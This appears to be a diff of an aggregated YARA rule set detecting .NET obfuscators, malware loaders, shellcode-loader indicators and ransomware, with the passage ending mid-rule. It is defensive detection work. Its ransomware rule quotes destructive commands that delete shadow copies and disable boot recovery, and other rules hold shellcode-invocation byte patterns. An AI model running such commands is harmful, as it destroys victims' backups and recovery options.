"2024-01-12" + reference = "https://github.com/Workingdaturah/Payload-Generator/tree/main" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/suspicious_indicators.yar#L1-L22" + license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" + hash = "c48752a5b07b58596564f13301276dd5b700bd648a04af2e27d3f78512a06408" + logic_hash = "28267eb54a4108924df57512bbae9f47f51fd4860b3cf93c014d73b0d4b2dec2" + score = 65 + quality = 80 + tags = "FILE" + + strings: + $sa1 = "VirtualProtect" ascii + $sa2 = "VirtualAlloc" ascii + $sa3 = "WriteProcessMemory" ascii + $sa4 = "CreateRemoteThread" ascii + $sa5 = "CreateThread" ascii + $sa6 = "WaitForSingleObject" ascii + $x = "__StaticArrayInitTypeSize=" ascii + + condition: + uint16( 0 ) == 0x5a4d and 3 of ( $sa* ) and #x == 1 +} +rule COD3NYM_SUSP_OBF_NET_Confuserex_Name_Pattern_Jan24 : FILE +{ + meta: + description = "Detects Naming Pattern used by ConfuserEx. ConfuserEx is a widely used open source obfuscator often found in malware" + author = "Jonathan Peters" + id = "2b57f135-9d9d-5401-be29-a1053f4249ec" + date = "2024-01-03" + modified = "2024-01-09" + reference = "https://github.com/yck1509/ConfuserEx/tree/master" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/obf_confuserex.yar#L1-L21" + license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" + hash = "2f67f590cabb9c79257d27b578d8bf9d1a278afa96b205ad2b4704e7b9a87ca7" + logic_hash = "f28f3bd61c6f257cc622f6f323a5b5113d7d7b79ce8b852df02c42af22ecf033" + score = 50 + quality = 80 + tags = "FILE" + + strings: + $s1 = "mscoree.dll" ascii + $s2 = "mscorlib" ascii + $s3 = "System.Private.Corlib" ascii + $s4 = "#Strings" ascii + $s5 = { 5F 43 6F 72 [3] 4D 61 69 6E } + $name_pattern = { E2 ( 80 8? | 81 AA ) E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 80 AE} + + condition: + uint16( 0 ) == 0x5a4d and 2 of ( $s* ) and #name_pattern > 5 +} +rule COD3NYM_SUSP_OBF_NET_Confuserex_Packer_Jan24 : FILE +{ + meta: + description = "Detects binaries packed with ConfuserEx compression packer. This feature compresses and encrypts the actual image into a stub that unpacks and loads the original image on runtime." + author = "Jonathan Peters" + id = "cd53a62f-62e3-58a1-8bc3-7f40949e3f00" + date = "2024-01-09" + modified = "2024-01-09" + reference = "https://github.com/yck1509/ConfuserEx/tree/master" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/obf_confuserex.yar#L23-L42" + license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" + hash = "2570bd4c3f564a61d6b3d589126e0940af27715e1e8d95de7863579fbe25f86f" + logic_hash = "43aee4c01b47ca04ee516d418939ec3e90fd08566f2a4b501c4698b7f9e0225d" + score = 70 + quality = 80 + tags = "FILE" + + strings: + $s1 = "GCHandle" ascii + $s2 = "GCHandleType" ascii + $op1 = { 5A 20 89 C0 3F 14 6A 5E [8-20] 5A 20 FB 56 4D 44 6A 5E 6D 9E } + $op2 = { 20 61 FF 6F 00 13 ?? 06 13 ?? 16 13 [10-20] 20 1F 3F 5E 00 5A} + $op3 = { 16 91 7E [3] 04 17 91 1E 62 60 7E [3] 04 18 91 1F 10 62 60 7E [3] 04 19 91 1F 18 62 } + + condition: + uint16( 0 ) == 0x5a4d and all of ( $s* ) and 2 of ( $op* ) +} +rule COD3NYM_SUSP_OBF_NET_Eazfuscator_String_Encryption_Jan24 : FILE { meta: - description = "Eazfuscator.NET string encryption" + description = "Detects .NET images obfuscated with Eazfuscator string encryption. Eazfuscator is a widely used commercial obfuscation solution used by both legitimate software and malware." author = "Jonathan Peters" id = "09a400f5-e837-58c2-9b51-9213c8ab0883" date = "2024-01-01" - modified = "2024-01-10" - reference = "https://github.com/cod3nym/detection-rules/" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/malcat/obfuscators.yar#L1-L29" + modified = "2024-01-03" + reference = "https://www.gapotchenko.com/eazfuscator.net" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/obf_eazfuscator.yar#L1-L28" license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" hash = "3a9ee09ed965e3aee677043ba42c7fdbece0150ef9d1382c518b4b96bbd0e442" logic_hash = "5f3f3358e3cfb274aa2e8465dde58a080f9fb282aa519885b9d39429521db6d9" - score = 65 + score = 50 quality = 80 - tags = "SUSPICIOUS, OBFUSCATION, FILE" - name = "Eazfuscator" - category = "obfuscation" - reliability = 90 - tlp = "TLP:white" + tags = "FILE" strings: $sa1 = "StackFrame" ascii @@ -176488,26 +176515,22 @@ rule COD3NYM_Eazfuscator_String_Encryption : SUSPICIOUS OBFUSCATION FILE condition: uint16( 0 ) == 0x5a4d and all of ( $sa* ) and ( 2 of ( $op* ) or #op1 == 2 ) } -rule COD3NYM_Eazfuscator_Code_Virtualization : SUSPICIOUS OBFUSCATION FILE +rule COD3NYM_SUSP_OBF_NET_Eazfuscator_Virtualization_Jan24 : FILE { meta: - description = "Eazfuscator.NET code virtualization" + description = "Detects .NET images obfuscated with Eazfuscator virtualization protection. Eazfuscator is a widely used commercial obfuscation solution used by both legitimate software and malware." author = "Jonathan Peters" id = "d39bba65-1220-5b60-b919-1bd88f1bc7f1" - date = "2024-01-01" - modified = "2024-01-10" - reference = "https://github.com/cod3nym/detection-rules/" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/malcat/obfuscators.yar#L31-L54" + date = "2024-01-02" + modified = "2024-01-03" + reference = "https://www.gapotchenko.com/eazfuscator.net" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/obf_eazfuscator.yar#L30-L51" license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" hash = "53d5c2574c7f70b7aa69243916acf6e43fe4258fbd015660032784e150b3b4fa" logic_hash = "7a647973eae9163cb5b82c27141956da58f4a9fd2ad51cf82523b93536cfaea3" - score = 65 + score = 60 quality = 80 - tags = "SUSPICIOUS, OBFUSCATION, FILE" - name = "Eazfuscator" - category = "obfuscation" - reliability = 90 - tlp = "TLP:white" + tags = "FILE" strings: $sa1 = "BinaryReader" ascii @@ -176520,83 +176543,46 @@ rule COD3NYM_Eazfuscator_Code_Virtualization : SUSPICIOUS OBFUSCATION FILE condition: uint16( 0 ) == 0x5a4d and all of ( $sa* ) and 2 of ( $op* ) } -rule COD3NYM_Confuserex_Naming_Pattern : SUSPICIOUS OBFUSCATION FILE -{ - meta: - description = "ConfuserEx Renaming Pattern" - author = "Jonathan Peters" - id = "2b57f135-9d9d-5401-be29-a1053f4249ec" - date = "2024-01-03" - modified = "2024-01-10" - reference = "https://github.com/cod3nym/detection-rules/" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/malcat/obfuscators.yar#L56-L77" - license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" - logic_hash = "f28f3bd61c6f257cc622f6f323a5b5113d7d7b79ce8b852df02c42af22ecf033" - score = 65 - quality = 80 - tags = "SUSPICIOUS, OBFUSCATION, FILE" - name = "ConfuserEx" - category = "obfuscation" - reliability = 90 - - strings: - $s1 = "mscoree.dll" ascii - $s2 = "mscorlib" ascii - $s3 = "System.Private.Corlib" ascii - $s4 = "#Strings" ascii - $s5 = { 5F 43 6F 72 [3] 4D 61 69 6E } - $name_pattern = { E2 ( 80 8? | 81 AA ) E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 [2] E2 80 AE} - condition: - uint16( 0 ) == 0x5a4d and 2 of ( $s* ) and #name_pattern > 5 -} -rule COD3NYM_Confuserex_Packer : SUSPICIOUS OBFUSCATION FILE +rule COD3NYM_SUSP_OBF_NET_Reactor_Native_Stub_Jan24 { meta: - description = "ConfuserEx Packer" + description = "Detects native packer stub for version 4.5-4.7 of .NET Reactor. A pirated copy of version 4.5 of this commercial obfuscation solution is used by various malware families like BlackBit, RedLine, AgentTesla etc." author = "Jonathan Peters" - id = "cd53a62f-62e3-58a1-8bc3-7f40949e3f00" - date = "2024-01-09" - modified = "2024-01-10" - reference = "https://github.com/cod3nym/detection-rules/" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/malcat/obfuscators.yar#L79-L99" + id = "529dce88-a81d-5a98-aa6c-1f1b739ad074" + date = "2024-01-05" + modified = "2024-01-12" + reference = "https://notes.netbytesec.com/2023/08/understand-ransomware-ttps-blackbit.html" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/obf_net_reactor.yar#L3-L16" license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" - logic_hash = "43aee4c01b47ca04ee516d418939ec3e90fd08566f2a4b501c4698b7f9e0225d" - score = 65 + hash = "6e8a7adf680bede7b8429a18815c232004057607fdfbf0f4b0fb1deba71c5df7" + logic_hash = "287273babd3cd6bc1986b018367317019f2249851a2c19fc83857f7ff0b90b54" + score = 70 quality = 80 - tags = "SUSPICIOUS, OBFUSCATION, FILE" - name = "ConfuserEx" - category = "obfuscation" - reliability = 90 + tags = "" strings: - $s1 = "GCHandle" ascii - $s2 = "GCHandleType" ascii - $op1 = { 5A 20 89 C0 3F 14 6A 5E [8-20] 5A 20 FB 56 4D 44 6A 5E 6D 9E } - $op2 = { 20 61 FF 6F 00 13 ?? 06 13 ?? 16 13 [10-20] 20 1F 3F 5E 00 5A } - $op3 = { 16 91 7E [3] 04 17 91 1E 62 60 7E [3] 04 18 91 1F 10 62 60 7E [3] 04 19 91 1F 18 62 } + $op = {C6 44 24 18 E0 C6 44 24 19 3B C6 44 24 1A 8D C6 44 24 1B 2A C6 44 24 1C A2 C6 44 24 1D 2A C6 44 24 1E 2A C6 44 24 1F 41 C6 44 24 20 D3 C6 44 24 21 20 C6 44 24 22 64 C6 44 24 23 06 C6 44 24 24 8A C6 44 24 25 F7 C6 44 24 26 3D C6 44 24 27 9D C6 44 24 28 D9 C6 44 24 29 EE C6 44 24 2A 15 C6 44 24 2B 68 C6 44 24 2C F4 C6 44 24 2D 76 C6 44 24 2E B9 C6 44 24 2F 34 C6 44 24 30 BF C6 44 24 31 1E C6 44 24 32 E7 C6 44 24 33 78 C6 44 24 34 98 C6 44 24 35 E9 C6 44 24 36 6F C6 44 24 37 B4} condition: - uint16( 0 ) == 0x5a4d and all of ( $s* ) and 2 of ( $op* ) + for any i in ( 0 .. pe.number_of_resources -1 ) : ( pe.resources [ i ] . name_string == "_\x00_\x00" ) and $op } -rule COD3NYM_Reactor_Indicators : SUSPICIOUS OBFUSCATION FILE +rule COD3NYM_SUSP_OBF_NET_Reactor_Indicators_Jan24 : FILE { meta: - description = "Ezriz .NET Reactor obfuscator" + description = "Detects indicators of .NET Reactors managed obfuscation. Reactor is a commercial obfuscation solution, pirated versions are often abused by threat actors." author = "Jonathan Peters" id = "8dc07bbd-cbeb-5214-a27a-555a0d396197" date = "2024-01-09" - modified = "2024-01-10" - reference = "https://github.com/cod3nym/detection-rules/" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/malcat/obfuscators.yar#L103-L119" + modified = "2024-01-12" + reference = "https://www.eziriz.com/dotnet_reactor.htm" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/obf_net_reactor.yar#L18-L34" license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" + hash = "be842a9de19cfbf42ea5a94e3143d58390a1abd1e72ebfec5deeb8107dddf038" logic_hash = "40a03eb487e2c02a032c4bfb51580dbb764e0a49ceee5ae92c54a5ee3ede9696" score = 65 quality = 80 - tags = "SUSPICIOUS, OBFUSCATION, FILE" - name = ".NET Reactor" - category = "obfuscation" - reliability = 90 + tags = "FILE" strings: $ = { 33 7B 00 [9] 00 2D 00 [9] 00 2D 00 [9] 00 2D 00 [9] 00 7D 00 } @@ -176607,24 +176593,21 @@ rule COD3NYM_Reactor_Indicators : SUSPICIOUS OBFUSCATION FILE uint16( 0 ) == 0x5a4d and 2 of them } -rule COD3NYM_Singlefilehost_App_Bundle : COMPILER FILE +rule COD3NYM_DOTNET_Singlefilehost_Bundled_App : FILE { meta: - description = "DotNet singlefilehost app bundle" + description = "Detects single file host .NET bundled apps." author = "Jonathan Peters" id = "061bd294-58d6-57be-b8b5-b8a8f31ce316" - date = "2024-01-03" - modified = "2025-07-01" - reference = "https://github.com/cod3nym/detection-rules/" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/malcat/other.yar#L3-L21" + date = "2024-01-02" + modified = "2024-01-05" + reference = "https://learn.microsoft.com/en-us/dotnet/core/deploying/single-file" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/framework_identiciation.yar#L3-L17" license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" logic_hash = "12075b07a9feb951898ac8eba303471d9253ed9535db927244e5562f4fad33d6" - score = 40 + score = 75 quality = 80 - tags = "COMPILER, FILE" - name = "DotNet" - category = "compiler" - reliability = 90 + tags = "FILE" strings: $ = "singlefilehost.exe" ascii @@ -176633,6 +176616,63 @@ rule COD3NYM_Singlefilehost_App_Bundle : COMPILER FILE condition: uint16( 0 ) == 0x5a4d and 1 of them and pe.exports ( "DotNetRuntimeInfo" ) and pe.exports ( "CLRJitAttachState" ) } +rule COD3NYM_MAL_NET_Limecrypter_Runpe_Jan24 : FILE +{ + meta: + description = "Detects LimeCrypter RunPE module. LimeCrypter is an open source .NET based crypter and loader commonly used by threat actors" + author = "Jonathan Peters" + id = "06ecd638-0102-5762-b363-fdc390dda04b" + date = "2024-01-16" + modified = "2024-01-16" + reference = "https://github.com/NYAN-x-CAT/Lime-Crypter/tree/master" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/mal/mal_net_limecrypter_runpe.yar#L1-L22" + license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" + hash = "bcc8c679acfc3aabf22ebdb2349b1fabd351a89fd23a716d85154049d352dd12" + logic_hash = "b01a68c60d62cf94ef16340316acb9b96d1e671c372559b86a8e6a5d8e80f7d9" + score = 80 + quality = 80 + tags = "FILE" + + strings: + $op1 = { 1F 1A 58 1F 1A 58 28 } + $op2 = { 20 B3 00 00 00 8D ?? 00 00 01 13 ?? 11 ?? 16 20 02 00 01 00 } + $op3 = { 11 0? 11 0? 20 00 30 00 00 1F 40 28 ?? 00 00 06 } + $op4 = { 6E 20 FF 7F 00 00 6A FE 02 } + $s1 = "RawSecurityDescriptor" ascii + $s2 = "CommonAce" ascii + + condition: + uint16( 0 ) == 0x5a4d and all of ( $s* ) and 2 of ( $op* ) +} +rule COD3NYM_MAL_NET_Niximports_Loader_Jan24 : FILE +{ + meta: + description = "Detects open-source NixImports .NET malware loader. A stealthy loader using dynamic import resolving to evade static detection" + author = "Jonathan Peters" + id = "f36ad127-4c4b-5b7e-a13c-bfb9d222a438" + date = "2024-01-12" + modified = "2024-01-12" + reference = "https://github.com/dr4k0nia/NixImports/tree/master" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/mal/mal_net_niximports_loader.yar#L1-L22" + license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" + hash = "dd3f22871879b0bc4990c96d1de957848c7ed0714635bb036c73d8a989fb0b39" + logic_hash = "e41d7f4cb46aa0baa87d3024e0550efe5058ca49d908bbd34197431c7c054e58" + score = 80 + quality = 80 + tags = "FILE" + + strings: + $op1 = { 1F 0A 64 06 1F 11 62 60 } + $op2 = { 03 20 4D 5A 90 00 94 4B 2A } + $op3 = { 20 DE 7A 1F F3 20 F7 1B 18 BC } + $op4 = { 20 CE 1F BE 70 20 DF 1F 3E F8 14 } + $sa1 = "OffsetToStringData" ascii + $sa2 = "GetRuntimeMethods" ascii + $sa3 = "netstandard" ascii + + condition: + uint16( 0 ) == 0x5a4d and all of ( $sa* ) and 2 of ( $op* ) +} rule COD3NYM_SUSP_OBF_Pyarmor_Jan24 { meta: @@ -176660,6 +176700,29 @@ rule COD3NYM_SUSP_OBF_Pyarmor_Jan24 condition: 2 of them } +rule COD3NYM_SUSP_Direct_Syscall_Shellcode_Invocation_Jan24 : FILE +{ + meta: + description = "Detects direct syscall evasion technqiue using NtProtectVirtualMemory to invoke shellcode" + author = "Jonathan Peters" + id = "2a0ce887-299d-5aad-bed3-3e698b4dea79" + date = "2024-01-14" + modified = "2024-01-14" + reference = "https://unprotect.it/technique/evasion-using-direct-syscalls/" + source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/other/susp_direct_syscall_shellcode_invocation.yar#L1-L14" + license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" + hash = "f7cd214e7460c539d6f8d02b6650098e3983862ff658b76ea02c33f5a45fc836" + logic_hash = "b5b0ad86289a4e2af7cdc909192f4dc9325c1763259f40adcc1e60c088c9e4f3" + score = 65 + quality = 80 + tags = "FILE" + + strings: + $ = { B8 40 00 00 00 67 4C 8D 08 49 89 CA 48 C7 C0 50 00 00 00 0F 05 [4-8] 4C 8D 3D 02 00 00 00 FF E0 } + + condition: + all of them and filesize < 2MB +} rule COD3NYM_SUSP_RLO_Exe_Extension_Spoofing_Jan24 { meta: @@ -176726,144 +176789,11 @@ rule COD3NYM_SUSP_RLO_Exe_Extension_Spoofing_Jan24 condition: 1 of them } -rule COD3NYM_SUSP_Direct_Syscall_Shellcode_Invocation_Jan24 : FILE -{ - meta: - description = "Detects direct syscall evasion technqiue using NtProtectVirtualMemory to invoke shellcode" - author = "Jonathan Peters" - id = "2a0ce887-299d-5aad-bed3-3e698b4dea79" - date = "2024-01-14" - modified = "2024-01-14" - reference = "https://unprotect.it/technique/evasion-using-direct-syscalls/" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/other/susp_direct_syscall_shellcode_invocation.yar#L1-L14" - license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" - hash = "f7cd214e7460c539d6f8d02b6650098e3983862ff658b76ea02c33f5a45fc836" - logic_hash = "b5b0ad86289a4e2af7cdc909192f4dc9325c1763259f40adcc1e60c088c9e4f3" - score = 65 - quality = 80 - tags = "FILE" - - strings: - $ = { B8 40 00 00 00 67 4C 8D 08 49 89 CA 48 C7 C0 50 00 00 00 0F 05 [4-8] 4C 8D 3D 02 00 00 00 FF E0 } - - condition: - all of them and filesize < 2MB -} - -rule COD3NYM_SUSP_OBF_NET_Reactor_Native_Stub_Jan24 -{ - meta: - description = "Detects native packer stub for version 4.5-4.7 of .NET Reactor. A pirated copy of version 4.5 of this commercial obfuscation solution is used by various malware families like BlackBit, RedLine, AgentTesla etc." - author = "Jonathan Peters" - id = "529dce88-a81d-5a98-aa6c-1f1b739ad074" - date = "2024-01-05" - modified = "2024-01-12" - reference = "https://notes.netbytesec.com/2023/08/understand-ransomware-ttps-blackbit.html" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/obf_net_reactor.yar#L3-L16" - license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" - hash = "6e8a7adf680bede7b8429a18815c232004057607fdfbf0f4b0fb1deba71c5df7" - logic_hash = "287273babd3cd6bc1986b018367317019f2249851a2c19fc83857f7ff0b90b54" - score = 70 - quality = 80 - tags = "" - - strings: - $op = {C6 44 24 18 E0 C6 44 24 19 3B C6 44 24 1A 8D C6 44 24 1B 2A C6 44 24 1C A2 C6 44 24 1D 2A C6 44 24 1E 2A C6 44 24 1F 41 C6 44 24 20 D3 C6 44 24 21 20 C6 44 24 22 64 C6 44 24 23 06 C6 44 24 24 8A C6 44 24 25 F7 C6 44 24 26 3D C6 44 24 27 9D C6 44 24 28 D9 C6 44 24 29 EE C6 44 24 2A 15 C6 44 24 2B 68 C6 44 24 2C F4 C6 44 24 2D 76 C6 44 24 2E B9 C6 44 24 2F 34 C6 44 24 30 BF C6 44 24 31 1E C6 44 24 32 E7 C6 44 24 33 78 C6 44 24 34 98 C6 44 24 35 E9 C6 44 24 36 6F C6 44 24 37 B4} - - condition: - for any i in ( 0 .. pe.number_of_resources -1 ) : ( pe.resources [ i ] . name_string == "_\x00_\x00" ) and $op -} -rule COD3NYM_SUSP_NET_Shellcode_Loader_Indicators_Jan24 : FILE -{ - meta: - description = "Detects indicators of shellcode loaders in .NET binaries" - author = "Jonathan Peters" - id = "606a444a-b894-5076-8d5e-1716bbfa588e" - date = "2024-01-11" - modified = "2024-01-12" - reference = "https://github.com/Workingdaturah/Payload-Generator/tree/main" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/suspicious_indicators.yar#L1-L22" - license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" - hash = "c48752a5b07b58596564f13301276dd5b700bd648a04af2e27d3f78512a06408" - logic_hash = "28267eb54a4108924df57512bbae9f47f51fd4860b3cf93c014d73b0d4b2dec2" - score = 65 - quality = 80 - tags = "FILE" - - strings: - $sa1 = "VirtualProtect" ascii - $sa2 = "VirtualAlloc" ascii - $sa3 = "WriteProcessMemory" ascii - $sa4 = "CreateRemoteThread" ascii - $sa5 = "CreateThread" ascii - $sa6 = "WaitForSingleObject" ascii - $x = "__StaticArrayInitTypeSize=" ascii - - condition: - uint16( 0 ) == 0x5a4d and 3 of ( $sa* ) and #x == 1 -} -rule COD3NYM_MAL_NET_Limecrypter_Runpe_Jan24 : FILE -{ - meta: - description = "Detects LimeCrypter RunPE module. LimeCrypter is an open source .NET based crypter and loader commonly used by threat actors" - author = "Jonathan Peters" - id = "06ecd638-0102-5762-b363-fdc390dda04b" - date = "2024-01-16" - modified = "2024-01-16" - reference = "https://github.com/NYAN-x-CAT/Lime-Crypter/tree/master" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/mal/mal_net_limecrypter_runpe.yar#L1-L22" - license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" - hash = "bcc8c679acfc3aabf22ebdb2349b1fabd351a89fd23a716d85154049d352dd12" - logic_hash = "b01a68c60d62cf94ef16340316acb9b96d1e671c372559b86a8e6a5d8e80f7d9" - score = 80 - quality = 80 - tags = "FILE" - - strings: - $op1 = { 1F 1A 58 1F 1A 58 28 } - $op2 = { 20 B3 00 00 00 8D ?? 00 00 01 13 ?? 11 ?? 16 20 02 00 01 00 } - $op3 = { 11 0? 11 0? 20 00 30 00 00 1F 40 28 ?? 00 00 06 } - $op4 = { 6E 20 FF 7F 00 00 6A FE 02 } - $s1 = "RawSecurityDescriptor" ascii - $s2 = "CommonAce" ascii - - condition: - uint16( 0 ) == 0x5a4d and all of ( $s* ) and 2 of ( $op* ) -} -rule COD3NYM_MAL_NET_Niximports_Loader_Jan24 : FILE -{ - meta: - description = "Detects open-source NixImports .NET malware loader. A stealthy loader using dynamic import resolving to evade static detection" - author = "Jonathan Peters" - id = "f36ad127-4c4b-5b7e-a13c-bfb9d222a438" - date = "2024-01-12" - modified = "2024-01-12" - reference = "https://github.com/dr4k0nia/NixImports/tree/master" - source_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/yara/dotnet/mal/mal_net_niximports_loader.yar#L1-L22" - license_url = "https://github.com/cod3nym/detection-rules//blob/86a04c4594cb48895192aad4af164f21f568c136/LICENSE.md" - hash = "dd3f22871879b0bc4990c96d1de957848c7ed0714635bb036c73d8a989fb0b39" - logic_hash = "e41d7f4cb46aa0baa87d3024e0550efe5058ca49d908bbd34197431c7c054e58" - score = 80 - quality = 80 - tags = "FILE" - - strings: - $op1 = { 1F 0A 64 06 1F 11 62 60 } - $op2 = { 03 20 4D 5A 90 00 94 4B 2A } - $op3 = { 20 DE 7A 1F F3 20 F7 1B 18 BC } - $op4 = { 20 CE 1F BE 70 20 DF 1F 3E F8 14 } - $sa1 = "OffsetToStringData" ascii - $sa2 = "GetRuntimeMethods" ascii - $sa3 = "netstandard" ascii - - condition: - uint16( 0 ) == 0x5a4d and all of ( $sa* ) and 2 of ( $op* ) -} /* * YARA Rule Set * Repository Name: craiu * Repository: https://github.com/craiu/yararules - * Retrieval Date: 2026-02-22 + * Retrieval Date: 2026-03-01 * Git Commit: 23cf0ca22021fa3684e180a18416b9ae1b695243 * Number of Rules: 13 * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) @@ -177547,35 +177477,68 @@ Public License instead of this License. But first, please read <https://www.gnu.org/licenses/why-not-lgpl.html>. */ -rule CRAIU_Crime_Lockbit3_Ransomware : FILE +rule CRAIU_Crime_Chaos_Ransomware_Gen : FILE { meta: - description = "Generic LockBit detection, also catches the version used in attacks in Indonesia." - author = "Costin G. Raiu, TLPBLACK, craiu@noh.ro" - id = "167788a4-a610-5770-9f51-aa4cc4d3d350" - date = "2024-07-03" - modified = "2024-07-03" - reference = "https://www.bleepingcomputer.com/news/security/meet-brain-cipher-the-new-ransomware-behind-indonesia-data-center-attack/" - source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_lockbit3_ransomware.yara#L2-L32" + description = "Chaos ransomware generic strings" + author = "Costin G. Raiu, Art of Noh, craiu@noh.ro" + id = "e909f7e4-50c2-54a6-8274-9ef92f95bf93" + date = "2024-05-27" + modified = "2024-05-28" + reference = "https://blog.sonicwall.com/en-us/2024/05/politically-charged-ransomware-weaponized-as-a-file-destroyer/" + source_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/files/crime_chaos_ransomware.yara#L2-L39" license_url = "https://github.com/craiu/yararules/blob/23cf0ca22021fa3684e180a18416b9ae1b695243/LICENSE" - hash = "eb82946fa0de261e92f8f60aa878c9fef9ebb34fdababa66995403b110118b12" - hash = "6e07da23603fbe5b26755df5b8fec19cadf1f7001b1558ea4f12e20271263417" - logic_hash = "84efb899315379d85a03959359f89fbcb97cbb6477f1ec439380a4d15fed4f53" + hash = "524a898e18999ceac864dbac5b85fa2f14392e389b3c32f77d58e2a89cdf01c4" + logic_hash = "7d2e1c9178d5bf360cebc90056bbdae6a11729b1b3c5e963c522a29fd7ba7a3e" score = 75 - quality = 85 + quality = 60 tags = "FILE" - version = "1.1" + version = "1.0" strings: - $a1 = {C3 8BFF53 51 6A0158 0FA2F7C1000000400F95C0 84C074090FC7F0 0FC7F2 59 5B C3 } - $a2 = {C3 6A0758 33C90FA2F7C3000004000F95C0 84C074090FC7F8 0FC7FA 59 5B C3 } - $a3 = {C3 0F31 8BC8 C1C90D 0F31 8BD0 C1C20D 8BC1 59 5B C3 } - $a4 = {55 8BEC 51 52 56 33C0 8B550C 8B7508 AC 33C9 B930000000 8D0C4D01000000 02F1 2AF1 33C9 B906000000 8D0C4D01000000 D3CA 03D0 90 85C0} - $a5 = {E9 ?? ?? ?? ?? 6683F841 720C 6683F846 7706 6683E837 EB26 6683F861 720C 6683F866 7706 6683E857 EB14 6683F830 720C 6683F839 7706 6683E830 EB} - $a6 = {5D 8BC3 5F 5E 5B 5D C20C00 90 55 8BEC 53 56 57 33C0 8B5D14 33C9 33D2 8B750C 8B7D08 85F6 } + $a0 = "<Exponent>AQAB</Exponent>" ascii wide fullword + $a2 = "<EncryptedKey>" ascii wide fullword + $a15 = "vssadmin delete shadows /all /quiet & wmic shadowcopy delete" ascii wide fullword + $a16 = "bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no" ascii wide fullword + $a17 = "wbadmin delete 